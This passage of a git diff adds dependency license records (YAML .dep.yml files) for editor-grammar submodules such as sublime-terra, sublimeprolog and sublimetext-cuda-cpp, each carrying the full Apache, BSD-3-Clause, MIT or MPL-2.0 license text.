+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "{}"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright 2014 Paul Ferruggiaro
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/sublime-terra.dep.yml b/vendor/licenses/git_submodule/sublime-terra.dep.yml
new file mode 100644
index 0000000000..ac2214266e
--- /dev/null
+++ b/vendor/licenses/git_submodule/sublime-terra.dep.yml
@@ -0,0 +1,35 @@
+---
+type: git_submodule
+name: sublime-terra
+version: d77b0341d26f0989b2dc918ce9fb5cb8a5c7202b
+license: bsd-3-clause
+licenses:
+- text: |-
+    Copyright (c) 2016, Bayu Aldi Yansyah
+    All rights reserved.
+
+    Redistribution and use in source and binary forms, with or without
+    modification, are permitted provided that the following conditions are met:
+
+    * Redistributions of source code must retain the above copyright notice, this
+      list of conditions and the following disclaimer.
+
+    * Redistributions in binary form must reproduce the above copyright notice,
+      this list of conditions and the following disclaimer in the documentation
+      and/or other materials provided with the distribution.
+
+    * Neither the name of sublime-terra nor the names of its
+      contributors may be used to endorse or promote products derived from
+      this software without specific prior written permission.
+
+    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+    AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+    IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+    DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+    FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+    DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+    SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+    CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+    OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+    OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+notices: []
diff --git a/vendor/licenses/git_submodule/sublime-text-ox.dep.yml b/vendor/licenses/git_submodule/sublime-text-ox.dep.yml
new file mode 100644
index 0000000000..1e16244023
--- /dev/null
+++ b/vendor/licenses/git_submodule/sublime-text-ox.dep.yml
@@ -0,0 +1,32 @@
+---
+type: git_submodule
+name: sublime-text-ox
+version: 5cbc2c655b4b771d34b75bbe962964455510644b
+license: mit
+licenses:
+- text: |-
+    License
+    ------------
+
+    The MIT License (MIT)
+
+    Copyright (c) 2015 Andreas Hetland
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/sublime-varnish.dep.yml b/vendor/licenses/git_submodule/sublime-varnish.dep.yml
new file mode 100644
index 0000000000..d6ad49b05f
--- /dev/null
+++ b/vendor/licenses/git_submodule/sublime-varnish.dep.yml
@@ -0,0 +1,34 @@
+---
+name: sublime-varnish
+version: c129dce0f14f8605d64d094d72fdc47f59738512
+type: git_submodule
+homepage: https://github.com/brandonwamboldt/sublime-varnish
+license: mit
+licenses:
+- sources: LICENSE.MD
+  text: |
+    The MIT License (MIT)
+    =====================
+
+    The MIT License (MIT)
+
+    Copyright (c) 2015 Brandon Wamboldt
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/sublime-zig-language.dep.yml b/vendor/licenses/git_submodule/sublime-zig-language.dep.yml
new file mode 100644
index 0000000000..828c18638b
--- /dev/null
+++ b/vendor/licenses/git_submodule/sublime-zig-language.dep.yml
@@ -0,0 +1,34 @@
+---
+name: sublime-zig-language
+version: 1a4a38445fec495817625bafbeb01e79c44abcba
+type: git_submodule
+homepage: https://github.com/ziglang/sublime-zig-language
+license: mit
+licenses:
+- sources: LICENSE
+  text: |+
+    The MIT License (Expat)
+
+    Copyright (c) 2018 Jeff Fowler
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+
+- sources: README.md
+  text: Provided under an MIT License
+notices: []
diff --git a/vendor/licenses/git_submodule/sublimeassembly.dep.yml b/vendor/licenses/git_submodule/sublimeassembly.dep.yml
new file mode 100644
index 0000000000..de7669fdb2
--- /dev/null
+++ b/vendor/licenses/git_submodule/sublimeassembly.dep.yml
@@ -0,0 +1,37 @@
+---
+name: sublimeassembly
+version: 38d3fd64e5b981ac585f5c9e361647c09e208935
+type: git_submodule
+homepage: https://github.com/Nessphoro/sublimeassembly
+license: bsd-3-clause
+licenses:
+- sources: LICENSE
+  text: |
+    Copyright (c) 2015, Pavlo Malynin
+    All rights reserved.
+
+    Redistribution and use in source and binary forms, with or without
+    modification, are permitted provided that the following conditions are met:
+
+    * Redistributions of source code must retain the above copyright notice, this
+      list of conditions and the following disclaimer.
+
+    * Redistributions in binary form must reproduce the above copyright notice,
+      this list of conditions and the following disclaimer in the documentation
+      and/or other materials provided with the distribution.
+
+    * Neither the name of the copyright holder nor the names of its
+      contributors may be used to endorse or promote products derived from
+      this software without specific prior written permission.
+
+    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+    AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+    IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+    DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE
+    FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+    DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+    SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+    CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+    OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+    OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+notices: []
diff --git a/vendor/licenses/git_submodule/sublimeprolog.dep.yml b/vendor/licenses/git_submodule/sublimeprolog.dep.yml
new file mode 100644
index 0000000000..2be6363b99
--- /dev/null
+++ b/vendor/licenses/git_submodule/sublimeprolog.dep.yml
@@ -0,0 +1,370 @@
+---
+type: git_submodule
+name: sublimeprolog
+version: 9e8e142e55557465511338d5b26ca585cb729310
+license: mpl-2.0
+licenses:
+- text: |-
+    Mozilla Public License, version 2.0
+
+    1. Definitions
+
+    1.1. "Contributor"
+
+         means each individual or legal entity that creates, contributes to the
+         creation of, or owns Covered Software.
+
+    1.2. "Contributor Version"
+
+         means the combination of the Contributions of others (if any) used by a
+         Contributor and that particular Contributor's Contribution.
+
+    1.3. "Contribution"
+
+         means Covered Software of a particular Contributor.
+
+    1.4. "Covered Software"
+
+         means Source Code Form to which the initial Contributor has attached the
+         notice in Exhibit A, the Executable Form of such Source Code Form, and
+         Modifications of such Source Code Form, in each case including portions
+         thereof.
+
+    1.5. "Incompatible With Secondary Licenses"
+         means
+
+         a. that the initial Contributor has attached the notice described in
+            Exhibit B to the Covered Software; or
+
+         b. that the Covered Software was made available under the terms of
+            version 1.1 or earlier of the License, but not also under the terms of
+            a Secondary License.
+
+    1.6. "Executable Form"
+
+         means any form of the work other than Source Code Form.
+
+    1.7. "Larger Work"
+
+         means a work that combines Covered Software with other material, in a
+         separate file or files, that is not Covered Software.
+
+    1.8. "License"
+
+         means this document.
+
+    1.9. "Licensable"
+
+         means having the right to grant, to the maximum extent possible, whether
+         at the time of the initial grant or subsequently, any and all of the
+         rights conveyed by this License.
+
+    1.10. "Modifications"
+
+         means any of the following:
+
+         a. any file in Source Code Form that results from an addition to,
+            deletion from, or modification of the contents of Covered Software; or
+
+         b. any new file in Source Code Form that contains any Covered Software.
+
+    1.11. "Patent Claims" of a Contributor
+
+          means any patent claim(s), including without limitation, method,
+          process, and apparatus claims, in any patent Licensable by such
+          Contributor that would be infringed, but for the grant of the License,
+          by the making, using, selling, offering for sale, having made, import,
+          or transfer of either its Contributions or its Contributor Version.
+
+    1.12. "Secondary License"
+
+          means either the GNU General Public License, Version 2.0, the GNU Lesser
+          General Public License, Version 2.1, the GNU Affero General Public
+          License, Version 3.0, or any later versions of those licenses.
+
+    1.13. "Source Code Form"
+
+          means the form of the work preferred for making modifications.
+
+    1.14. "You" (or "Your")
+
+          means an individual or a legal entity exercising rights under this
+          License. For legal entities, "You" includes any entity that controls, is
+          controlled by, or is under common control with You. For purposes of this
+          definition, "control" means (a) the power, direct or indirect, to cause
+          the direction or management of such entity, whether by contract or
+          otherwise, or (b) ownership of more than fifty percent (50%) of the
+          outstanding shares or beneficial ownership of such entity.
+
+
+    2. License Grants and Conditions
+
+    2.1. Grants
+
+         Each Contributor hereby grants You a world-wide, royalty-free,
+         non-exclusive license:
+
+         a. under intellectual property rights (other than patent or trademark)
+            Licensable by such Contributor to use, reproduce, make available,
+            modify, display, perform, distribute, and otherwise exploit its
+            Contributions, either on an unmodified basis, with Modifications, or
+            as part of a Larger Work; and
+
+         b. under Patent Claims of such Contributor to make, use, sell, offer for
+            sale, have made, import, and otherwise transfer either its
+            Contributions or its Contributor Version.
+
+    2.2. Effective Date
+
+         The licenses granted in Section 2.1 with respect to any Contribution
+         become effective for each Contribution on the date the Contributor first
+         distributes such Contribution.
+
+    2.3. Limitations on Grant Scope
+
+         The licenses granted in this Section 2 are the only rights granted under
+         this License. No additional rights or licenses will be implied from the
+         distribution or licensing of Covered Software under this License.
+         Notwithstanding Section 2.1(b) above, no patent license is granted by a
+         Contributor:
+
+         a. for any code that a Contributor has removed from Covered Software; or
+
+         b. for infringements caused by: (i) Your and any other third party's
+            modifications of Covered Software, or (ii) the combination of its
+            Contributions with other software (except as part of its Contributor
+            Version); or
+
+         c. under Patent Claims infringed by Covered Software in the absence of
+            its Contributions.
+
+         This License does not grant any rights in the trademarks, service marks,
+         or logos of any Contributor (except as may be necessary to comply with
+         the notice requirements in Section 3.4).
+
+    2.4. Subsequent Licenses
+
+         No Contributor makes additional grants as a result of Your choice to
+         distribute the Covered Software under a subsequent version of this
+         License (see Section 10.2) or under the terms of a Secondary License (if
+         permitted under the terms of Section 3.3).
+
+    2.5. Representation
+
+         Each Contributor represents that the Contributor believes its
+         Contributions are its original creation(s) or it has sufficient rights to
+         grant the rights to its Contributions conveyed by this License.
+
+    2.6. Fair Use
+
+         This License is not intended to limit any rights You have under
+         applicable copyright doctrines of fair use, fair dealing, or other
+         equivalents.
+
+    2.7. Conditions
+
+         Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted in
+         Section 2.1.
+
+
+    3. Responsibilities
+
+    3.1. Distribution of Source Form
+
+         All distribution of Covered Software in Source Code Form, including any
+         Modifications that You create or to which You contribute, must be under
+         the terms of this License. You must inform recipients that the Source
+         Code Form of the Covered Software is governed by the terms of this
+         License, and how they can obtain a copy of this License. You may not
+         attempt to alter or restrict the recipients' rights in the Source Code
+         Form.
+
+    3.2. Distribution of Executable Form
+
+         If You distribute Covered Software in Executable Form then:
+
+         a. such Covered Software must also be made available in Source Code Form,
+            as described in Section 3.1, and You must inform recipients of the
+            Executable Form how they can obtain a copy of such Source Code Form by
+            reasonable means in a timely manner, at a charge no more than the cost
+            of distribution to the recipient; and
+
+         b. You may distribute such Executable Form under the terms of this
+            License, or sublicense it under different terms, provided that the
+            license for the Executable Form does not attempt to limit or alter the
+            recipients' rights in the Source Code Form under this License.
+
+    3.3. Distribution of a Larger Work
+
+         You may create and distribute a Larger Work under terms of Your choice,
+         provided that You also comply with the requirements of this License for
+         the Covered Software. If the Larger Work is a combination of Covered
+         Software with a work governed by one or more Secondary Licenses, and the
+         Covered Software is not Incompatible With Secondary Licenses, this
+         License permits You to additionally distribute such Covered Software
+         under the terms of such Secondary License(s), so that the recipient of
+         the Larger Work may, at their option, further distribute the Covered
+         Software under the terms of either this License or such Secondary
+         License(s).
+
+    3.4. Notices
+
+         You may not remove or alter the substance of any license notices
+         (including copyright notices, patent notices, disclaimers of warranty, or
+         limitations of liability) contained within the Source Code Form of the
+         Covered Software, except that You may alter any license notices to the
+         extent required to remedy known factual inaccuracies.
+
+    3.5. Application of Additional Terms
+
+         You may choose to offer, and to charge a fee for, warranty, support,
+         indemnity or liability obligations to one or more recipients of Covered
+         Software. However, You may do so only on Your own behalf, and not on
+         behalf of any Contributor. You must make it absolutely clear that any
+         such warranty, support, indemnity, or liability obligation is offered by
+         You alone, and You hereby agree to indemnify every Contributor for any
+         liability incurred by such Contributor as a result of warranty, support,
+         indemnity or liability terms You offer. You may include additional
+         disclaimers of warranty and limitations of liability specific to any
+         jurisdiction.
+
+    4. Inability to Comply Due to Statute or Regulation
+
+       If it is impossible for You to comply with any of the terms of this License
+       with respect to some or all of the Covered Software due to statute,
+       judicial order, or regulation then You must: (a) comply with the terms of
+       this License to the maximum extent possible; and (b) describe the
+       limitations and the code they affect. Such description must be placed in a
+       text file included with all distributions of the Covered Software under
+       this License. Except to the extent prohibited by statute or regulation,
+       such description must be sufficiently detailed for a recipient of ordinary
+       skill to be able to understand it.
+
+    5. Termination
+
+    5.1. The rights granted under this License will terminate automatically if You
+         fail to comply with any of its terms. However, if You become compliant,
+         then the rights granted under this License from a particular Contributor
+         are reinstated (a) provisionally, unless and until such Contributor
+         explicitly and finally terminates Your grants, and (b) on an ongoing
+         basis, if such Contributor fails to notify You of the non-compliance by
+         some reasonable means prior to 60 days after You have come back into
+         compliance. Moreover, Your grants from a particular Contributor are
+         reinstated on an ongoing basis if such Contributor notifies You of the
+         non-compliance by some reasonable means, this is the first time You have
+         received notice of non-compliance with this License from such
+         Contributor, and You become compliant prior to 30 days after Your receipt
+         of the notice.
+
+    5.2. If You initiate litigation against any entity by asserting a patent
+         infringement claim (excluding declaratory judgment actions,
+         counter-claims, and cross-claims) alleging that a Contributor Version
+         directly or indirectly infringes any patent, then the rights granted to
+         You by any and all Contributors for the Covered Software under Section
+         2.1 of this License shall terminate.
+
+    5.3. In the event of termination under Sections 5.1 or 5.2 above, all end user
+         license agreements (excluding distributors and resellers) which have been
+         validly granted by You or Your distributors under this License prior to
+         termination shall survive termination.
+
+    6. Disclaimer of Warranty
+
+       Covered Software is provided under this License on an "as is" basis,
+       without warranty of any kind, either expressed, implied, or statutory,
+       including, without limitation, warranties that the Covered Software is free
+       of defects, merchantable, fit for a particular purpose or non-infringing.
+       The entire risk as to the quality and performance of the Covered Software
+       is with You. Should any Covered Software prove defective in any respect,
+       You (not any Contributor) assume the cost of any necessary servicing,
+       repair, or correction. This disclaimer of warranty constitutes an essential
+       part of this License. No use of  any Covered Software is authorized under
+       this License except under this disclaimer.
+
+    7. Limitation of Liability
+
+       Under no circumstances and under no legal theory, whether tort (including
+       negligence), contract, or otherwise, shall any Contributor, or anyone who
+       distributes Covered Software as permitted above, be liable to You for any
+       direct, indirect, special, incidental, or consequential damages of any
+       character including, without limitation, damages for lost profits, loss of
+       goodwill, work stoppage, computer failure or malfunction, or any and all
+       other commercial damages or losses, even if such party shall have been
+       informed of the possibility of such damages. This limitation of liability
+       shall not apply to liability for death or personal injury resulting from
+       such party's negligence to the extent applicable law prohibits such
+       limitation. Some jurisdictions do not allow the exclusion or limitation of
+       incidental or consequential damages, so this exclusion and limitation may
+       not apply to You.
+
+    8. Litigation
+
+       Any litigation relating to this License may be brought only in the courts
+       of a jurisdiction where the defendant maintains its principal place of
+       business and such litigation shall be governed by laws of that
+       jurisdiction, without reference to its conflict-of-law provisions. Nothing
+       in this Section shall prevent a party's ability to bring cross-claims or
+       counter-claims.
+
+    9. Miscellaneous
+
+       This License represents the complete agreement concerning the subject
+       matter hereof. If any provision of this License is held to be
+       unenforceable, such provision shall be reformed only to the extent
+       necessary to make it enforceable. Any law or regulation which provides that
+       the language of a contract shall be construed against the drafter shall not
+       be used to construe this License against a Contributor.
+
+
+    10. Versions of the License
+
+    10.1. New Versions
+
+          Mozilla Foundation is the license steward. Except as provided in Section
+          10.3, no one other than the license steward has the right to modify or
+          publish new versions of this License. Each version will be given a
+          distinguishing version number.
+
+    10.2. Effect of New Versions
+
+          You may distribute the Covered Software under the terms of the version
+          of the License under which You originally received the Covered Software,
+          or under the terms of any subsequent version published by the license
+          steward.
+
+    10.3. Modified Versions
+
+          If you create software not governed by this License, and you want to
+          create a new license for such software, you may create and use a
+          modified version of this License if you rename the license and remove
+          any references to the name of the license steward (except to note that
+          such modified license differs from this License).
+
+    10.4. Distributing Source Code Form that is Incompatible With Secondary
+          Licenses If You choose to distribute Source Code Form that is
+          Incompatible With Secondary Licenses under the terms of this version of
+          the License, the notice described in Exhibit B of this License must be
+          attached.
+
+    Exhibit A - Source Code Form License Notice
+
+          This Source Code Form is subject to the
+          terms of the Mozilla Public License, v.
+          2.0. If a copy of the MPL was not
+          distributed with this file, You can
+          obtain one at
+          http://mozilla.org/MPL/2.0/.
+
+    If it is not possible or desirable to put the notice in a particular file,
+    then You may include the notice in a location (such as a LICENSE file in a
+    relevant directory) where a recipient would be likely to look for such a
+    notice.
+
+    You may add additional accurate notices of copyright ownership.
+
+    Exhibit B - "Incompatible With Secondary Licenses" Notice
+
+          This Source Code Form is "Incompatible
+          With Secondary Licenses", as defined by
+          the Mozilla Public License, v. 2.0.
+notices: []
diff --git a/vendor/licenses/git_submodule/sublimetext-cuda-cpp.dep.yml b/vendor/licenses/git_submodule/sublimetext-cuda-cpp.dep.yml
new file mode 100644
index 0000000000..2c1a8d92db
--- /dev/null
+++ b/vendor/licenses/git_submodule/sublimetext-cuda-cpp.dep.yml
@@ -0,0 +1,35 @@
+---
+name: sublimetext-cuda-cpp
+version: 2bf66d15322717284a6d101f99ec8b72c98c1c1d
+type: git_submodule
+homepage: https://github.com/harrism/sublimetext-cuda-cpp
+license: bsd-3-clause
+licenses:
+- sources: LICENSE
+  text: |-
+    # Copyright (c) 2014, NVIDIA CORPORATION. All rights reserved.
+    #
+    # Redistribution and use in source and binary forms, with or without
+    # modification, are permitted provided that the following conditions
+    # are met:
+    #  * Redistributions of source code must retain the above copyright
+    #    notice, this list of conditions and the following disclaimer.
+    #  * Redistributions in binary form must reproduce the above copyright
+    #    notice, this list of conditions and the following disclaimer in the
+    #    documentation and/or other materials provided with the distribution.
+    #  * Neither the name of NVIDIA CORPORATION nor the names of its
+    #    contributors may be used to endorse or promote products derived
+    #    from this software without specific prior written permission.
+    #
+    # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS ``AS IS'' AND ANY
+    # EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+    # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+    # PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+    # CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+    # EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+    # PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+    # PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+    # OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+    # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+    # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+notices: []
diff --git a/vendor/licenses/git_submodule/sublimetext-nasl.dep.yml b/vendor/licenses/git_submodule/sublimetext-nasl.dep.yml
new file mode 100644
index 0000000000..873fb3c776
--- /dev/null
+++ b/vendor/licenses/git_submodule/sublimetext-nasl.dep.yml
@@ -0,0 +1,31 @@
+---
+name: sublimetext-nasl
+version: 552a4eaeae92745d250f67ab2972159dfc6e02b7
+type: git_submodule
+homepage: https://github.com/tenable/sublimetext-nasl
+license: mit
+licenses:
+- sources: LICENSE
+  text: |-
+    MIT License
+
+    Copyright (c) 2020 Tenable, Inc.
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/svelte-atom.dep.yml b/vendor/licenses/git_submodule/svelte-atom.dep.yml
new file mode 100644
index 0000000000..d1dd3e8243
--- /dev/null
+++ b/vendor/licenses/git_submodule/svelte-atom.dep.yml
@@ -0,0 +1,31 @@
+---
+name: svelte-atom
+version: a5bd801966b30fcd67100f36196bca8cbeaccc87
+type: git_submodule
+homepage: https://github.com/sebastinez/svelte-atom.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2018 Umang Galaiya
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/sway-vscode-plugin.dep.yml b/vendor/licenses/git_submodule/sway-vscode-plugin.dep.yml
new file mode 100644
index 0000000000..46adcd0e33
--- /dev/null
+++ b/vendor/licenses/git_submodule/sway-vscode-plugin.dep.yml
@@ -0,0 +1,211 @@
+---
+name: sway-vscode-plugin
